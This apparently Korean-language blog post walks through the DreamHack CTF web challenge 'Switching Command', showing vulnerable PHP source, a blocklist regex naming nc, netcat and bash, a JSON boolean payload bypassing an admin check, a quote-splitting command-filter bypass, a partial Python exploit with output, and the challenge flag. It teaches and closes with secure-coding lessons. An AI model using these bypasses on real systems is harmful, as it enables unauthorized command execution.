2026-06-06·1분 읽기·
PHP의 switch는 == 로 비교한다. 입력을 boolean true로 보내면 ===로 막아둔 "admin" 검사를 비껴가면서 switch case "admin"에는 걸려든다. 인증을 훔친 뒤엔 escapeshellcmd가 손대지 않는 따옴표로 명령 필터를 깨고, 출력이 안 보이는 blind 환경을 world-writable 웹루트에 파일을 떨궈 회수했다.
이 글이 도움이 됐나요?
문제: DreamHack — Switching Command 분류: Web 난이도: 🥈 Silver 4 FLAG:
DH{3301f7d38317ccfa063c21e5a10e2b6b1f0489d0114d053f34805f44788341c2}
"Not Friendly service... Can you switching the command?" 한 줄이 힌트 전부다. switching 이라는 단어, 그리고 친절하지 않은 서비스. 소스를 받아보면 둘 다 말 그대로다 — switch문 하나가 인증을 가르고, 명령을 실행해도 결과를 안 돌려준다.

화면은 username 하나 받는 폼이 전부다. 평범해 보이지만 이 입력이 PHP switch로 흘러간다.
| 항목 | 내용 |
|---|---|
| 문제명 | Switching Command |
| 난이도 | 🥈 Silver 4 |
| 분류 | Web (PHP type juggling + Blind RCE) |
| 스택 | PHP 8.0 / Apache / MariaDB |
| 제공 | 전체 소스 + Dockerfile + 서버 |
| 핵심 | switch의 느슨한 비교(==) + escapeshellcmd 따옴표 우회 + blind 회수 |
공격은 두 페이지로 나뉜다. index.php에서 admin 세션을 얻고, test.php에서 명령을 실행해 플래그를 읽는다. 두 단계가 각각 다른 트릭을 요구한다.
$data = json_decode($_POST["username"]);
if ($data === null) {
exit("Failed to parse JSON data");
}
$username = $data->username;
if($username === "admin" ){
exit("no hack");
}
switch($username){
case "admin":
$user = "admin";
$password = "***REDACTED***";
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss",$user,$password);
$stmt->execute();
if ($stmt->get_result()->num_rows == 1){
$_SESSION["auth"] = "admin";
header("Location: test.php");
}
break;
default:
$_SESSION["auth"] = "guest";
header("Location: test.php");
}입력은 폼 값을 그대로 쓰는 게 아니라 json_decode를 한 번 거친다. 그래서 폼에 admin이라고 치면 json_decode("admin")은 null이라 "Failed to parse JSON data"로 끝난다. 유효한 JSON, 예를 들어 {"username":"guest"}를 넣어야 $data->username이 살아난다.
그 다음이 핵심이다. $username을 두 번 검사한다.
if($username === "admin") — strict 비교(===). 타입까지 같아야 참. 문자열 "admin"만 정확히 막는다.switch($username){ case "admin": } — PHP의 switch는 각 case를 **느슨한 비교(==)**로 매칭한다.같은 "admin"을 두고 한쪽은 ===, 한쪽은 ==. 이 어긋남이 문제의 이름이다.
그리고 case "admin" 안을 보면, 비밀번호는 우리가 넣는 게 아니라 서버 소스에 하드코딩돼 있고 DB의 admin 레코드와 짝이 맞는다. 즉 case에 진입하기만 하면 서버가 알아서 자기 자격증명으로 로그인을 통과시켜 준다. 우리가 풀 건 "비밀번호 맞히기"가 아니라 "어떻게 case "admin"에 들어가느냐"다.
$pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i';
if($_SESSION["auth"] === "admin"){
$command = isset($_GET["cmd"]) ? $_GET["cmd"] : "ls";
$sanitized_command = str_replace("\n","",$command);
if (preg_match($pattern, $sanitized_command)){
exit("No hack");
}
$resulttt = shell_exec(escapeshellcmd($sanitized_command));
}
else if($_SESSION
admin이면 cmd 파라미터를 받아 shell_exec한다. 방어막이 세 겹이다.
flag, nc, netcat, bin, bash, rm, sh를 단어 경계(\b)로 막는다.escapeshellcmd — 셸 메타문자(; | & ` $ () <> 등)를 이스케이프해 명령 연결·치환을 차단한다.$resulttt에 담는데, 화면에 출력하는 건 $result다. 변수명이 다르다. admin 경로의 명령 출력은 어디에도 표시되지 않는다.guest 경로는 $result에 담아 출력하지만 admin 경로는 $resulttt라 안 나온다. "Not Friendly service"가 이 오타다. 명령은 돌지만 결과를 안 보여주는 blind 환경이다.
Dockerfile을 보면 플래그의 정체가 드러난다.
COPY ./flag.c /flag.c
RUN gcc /flag.c -o /flag && \
chmod 111 /flag && \
rm /flag.cflag.c를 컴파일해 /flag 바이너리로 만들고 chmod 111을 준다. 111은 실행 권한만 있고 읽기 권한이 없다. cat /flag로 읽을 수 없고, 오직 실행해야 플래그가 stdout으로 나온다. 그래서 목표는 "/flag를 실행하고 그 출력을 빼내기"가 된다.
PHP의 느슨한 비교는 버전마다 규칙이 다르다. 특히 문자열과 다른 타입을 ==로 비교할 때.
| 비교 | PHP 7 | PHP 8 |
|---|---|---|
0 == "admin" | true (문자열→0 캐스팅) | false (숫자→문자열로 비교) |
"1" == "admin" | false | false |
true == "admin" | true | true |
"admin" === "admin" | true | true |
PHP 7이라면 0을 넣는 고전 트릭이 통한다. 0 == "admin"이 참이니까. 그런데 이 문제는 php:8.0-apache다. PHP 8부터는 숫자와 비숫자 문자열을 비교할 때 숫자를 문자열로 캐스팅하도록 바뀌어서 0 == "admin"이 거짓이 됐다. 처음에 {"username":0}을 넣어봤는데 그냥 guest로 빠졌다.
남은 건 boolean이다. true == "admin"은 PHP 7이든 8이든 참이다. 비어있지 않은 문자열은 truthy라서, "admin"을 bool로 캐스팅하면 true가 되고 true == true가 성립한다. 그러면서 true === "admin"은 타입이 달라 거짓이다 — strict 검사를 그대로 통과한다.
정리하면 $username을 boolean true로 만들면 된다. 입력이 json_decode를 거치니 JSON으로 boolean을 넘기면 된다.
username={"username": true}$data->username = true (bool)true === "admin" → false → exit("no hack") 통과switch(true)의 case "admin" → true == "admin" → true → case 진입$_SESSION["auth"]="admin"폼 입력란에 JSON 문자열을 그대로 넣어 확인할 수 있다. 먼저 정상 경로 — {"username":"guest"}를 넣으면 guest로 인증되고, test.php에서 echo hi guest의 결과가 보인다.

guest는 출력이 보인다는 점을 기억해두자. 이제 {"username":true}로 바꾸면 admin이 된다. 같은 test.php인데 이번엔 화면이 비어 있다.

<pre></pre>가 텅 비었다. admin으로 올라온 순간 출력이 사라진 게 $resulttt 오타의 효과다. 인증은 성공했지만, 이제부터는 손전등 없이 더듬어야 한다.
목표는 /flag 실행인데, 정규식이 flag를 단어로 막는다. /flag는 /(비단어)와 문자열 끝 사이라 \bflag\b에 그대로 걸린다.

bin, sh, bash도 막혀서 /bin/sh, bash 같은 인터프리터 호출도 안 된다. 단어 경계가 핵심이라, "flag"라는 글자가 단어로 인식되지 않게 끼어들 무언가가 필요하다.
escapeshellcmd는 셸 메타문자를 이스케이프한다. 하지만 매뉴얼에 한 줄 단서가 있다 — 짝이 맞는 따옴표('...', "...")는 이스케이프하지 않는다. 셸은 빈 따옴표 쌍 ''을 만나면 그냥 제거해서 양옆 글자를 붙인다. 즉 /fl''ag는 셸에게 /flag와 똑같다.
그런데 정규식 검사는 escapeshellcmd 이전의 원문 문자열에 적용된다. 원문은 /fl''ag이고, 여기서 "flag"는 ''로 끊겨 단어로 잡히지 않는다. 검사를 통과하고, 셸에 도착할 땐 /flag로 합쳐진다.
| 우회 대상 | 막힌 이유 | 우회 |
|---|---|---|
flag 단어 | 정규식 \bflag\b | /fl''ag (따옴표로 단어 깨기) |
명령 연결 ; ` | ` | escapeshellcmd 이스케이프 |
명령 치환 ` $() | escapeshellcmd 이스케이프 | 사용 안 함 |
escapeshellcmd 때문에 ;로 명령을 잇거나 >로 리다이렉트할 수 없다. 한 번에 명령 하나, 인자 몇 개만 실행할 수 있다. 그런데 출력은 안 보인다. /flag를 실행해봐야 결과를 못 본다.
여기서 두 가지를 엮었다.
첫째, /flag의 출력을 파일로 받아낼 방법. 리다이렉션(>)은 이스케이프되니 못 쓴다. 대신 script(util-linux) 명령은 -c로 받은 명령을 실행하고 그 출력을 로그 파일 인자에 기록한다 — 셸 리다이렉션 없이 파일에 쓴다.
script -q -c /fl''ag /var/www/html/o.txt둘째, 그 파일을 어디에 떨굴 것인가. 컨테이너의 웹루트 권한을 확인했더니 /var/www/html이 drwxrwxrwt — 누구나 쓸 수 있는 world-writable였다. 그러니 결과를 웹루트에 떨구고 그냥 브라우저로 GET하면 된다. 외부 서버로 빼낼(OOB) 필요도 없다.
아래가 전체 흐름이다.

페이로드를 던지면 화면은 여전히 비어 있다(blind). URL 바에 우회 명령이 들어간 게 보인다.

그리고 떨군 파일을 GET하면 /flag 실행 결과가 그대로 나온다.

script가 남긴 헤더·푸터 사이에 플래그가 또렷하다.
Script started on 2026-06-05 16:01:23+00:00 [<not executed on terminal>]
DH{3301f7d38317ccfa063c21e5a10e2b6b1f0489d0114d053f34805f44788341c2}
Script done on 2026-06-05 16:01:23+00:00 [COMMAND_EXIT_CODE="70"]세 번의 요청이면 끝난다 — admin 인증, 파일 드롭, GET 회수.
#!/usr/bin/env python3
import re, sys, requests
BASE = sys.argv[1].rstrip("/")
OUT = "o.txt"
s = requests.Session()
# 1) switch 타입 저글링으로 admin 인증
r = s.post(f"{BASE}/index.php",
data={"username": '{"username":true}'},
allow_redirects=False, timeout=15)
print(f"[1] auth bypass: HTTP {r.status_code} Location={r.headers.get('Location')}")
# 2) blind RCE: /flag 실행결과를 script로 웹루트 파일에 캡쳐
[1] auth bypass: HTTP 302 Location=test.php
[2] dropped: script -q -c /fl''ag /var/www/html/o.txt
[3] FLAG: DH{3301f7d38317ccfa063c21e5a10e2b6b1f0489d0114d053f34805f44788341c2}
===로 막고 ==로 비교하면 같은 값이 아니다.
if($username === "admin")은 문자열 "admin"만 정확히 막지만, switch는 각 case를 ==로 본다. boolean true는 === 검사를 통과하면서 case "admin"에는 걸려든다. 입력 검증과 분기 처리가 서로 다른 비교 연산자를 쓰면 이런 틈이 생긴다. 검증과 사용은 같은 기준으로 해야 한다.
PHP 8은 느슨한 비교를 고쳤지만 boolean은 그대로다.
0 == "admin"이 PHP 8에서 거짓이 되면서 숫자 0 트릭은 막혔다. 그래도 true == "admin"은 여전히 참이다 — 비교 규칙을 외우기보다, 타입이 섞인 ==는 신뢰하지 않는 게 안전하다.
escapeshellcmd는 명령 실행을 막지 못한다.
이름이 비슷한 escapeshellarg는 인자 전체를 따옴표로 감싸 한 덩어리로 묶지만, escapeshellcmd는 메타문자만 이스케이프할 뿐 단일 명령 실행은 그대로 허용한다. 게다가 짝 따옴표를 건드리지 않아 단어 단위 블랙리스트는 /fl''ag처럼 쉽게 깨진다. 사용자 입력으로 명령을 만들지 않는 게 정답이고, 굳이 인자로 쓴다면 escapeshellarg다.
blind라고 안전한 건 아니다.
출력을 안 보여줘도 명령은 실행된다. 읽기 권한 없는 실행 파일도 script 한 줄로 출력을 파일에 받아낼 수 있었고, world-writable 웹루트가 그 파일을 그대로 서빙해줬다. 출력 숨김은 방어가 아니라 불편함일 뿐이다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…